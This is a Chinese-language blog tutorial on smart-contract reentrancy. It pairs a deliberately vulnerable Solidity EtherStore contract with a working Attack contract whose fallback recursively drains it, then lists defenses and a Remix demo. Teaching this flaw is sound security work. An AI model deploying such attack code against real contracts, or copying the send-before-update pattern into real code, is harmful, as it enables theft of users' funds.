Advertisement

智能合约安全之重入攻击浅析

阅读量:

概述:
重入攻击是由于智能合约调用了外部不安全合约,或者对外发送以太币,使得合约的外部调用能够被劫持,导致合约内的方法被外部合约递归调用

形成重入攻击有如下条件:

1、调用了外部不安全合约
2、使用了不安全的转账方式,未进行gas限制。
3、状态变量修改在合约交互之后

如下为漏洞合约+攻击合约:

// SPDX-License-Identifier: MIT 复制代码
pragma solidity ^0.8.3;  
contract EtherStore {//漏洞合约

receive() external payable{}  
constructor() payable {}  
mapping(address => uint) internal balances;

function deposit() external payable { //将Eth存入合约  
balances[msg.sender] += msg.value;  
}

function withdraw() external {//将存入的资金取出  
uint balance = balances[msg.sender];  
require(balance > 0);//检查

(bool sent, ) = msg.sender.call{value: balance}("");//交互--发起转账  
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;//生效--状态变量修改  
}

function getBalance() public view returns (uint) {//获取合约余额  
return address(this).balance;  
}  
}

contract Attack {//攻击合约  
EtherStore public etherstore;  
constructor(address payable test) payable {  
etherstore = EtherStore(test);  
}  
function _deposit() public payable {//向漏洞合约存入ETH  
etherstore.deposit{value: 1 ether}();  
}

function attack() public {//开始攻击,取回合约中的ETH  
etherstore.withdraw();  
}

function getbalance() public view returns (uint) {//获取当前合约余额  
return address(this).balance;  
}

  
fallback() external payable{//触发Fallback,递归调用取回函数  
if (address(etherstore).balance > 0) {  
etherstore.withdraw();  
}  
}

}

防御措施:
1、谨防使用不安全的转账函数call,建议使用transfer、send--限制gas为2300;或者对call调用进行gas限制--call{gas:2300};
2、推荐使用检查-生效-交互的模式,状态变量的修改在合约进行外部调用之前。
3、建议为合约加入重入锁,在openzeeplin中--https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

攻击演示:

1、首先在remix上进行合约部署

先对漏洞合约进行部署

再部署攻击合约

2、打开攻击合约进行攻击操作

3、攻击完成(注:1Ether的单位为10的18次方Wei)

全部评论 (0)

还没有任何评论哟~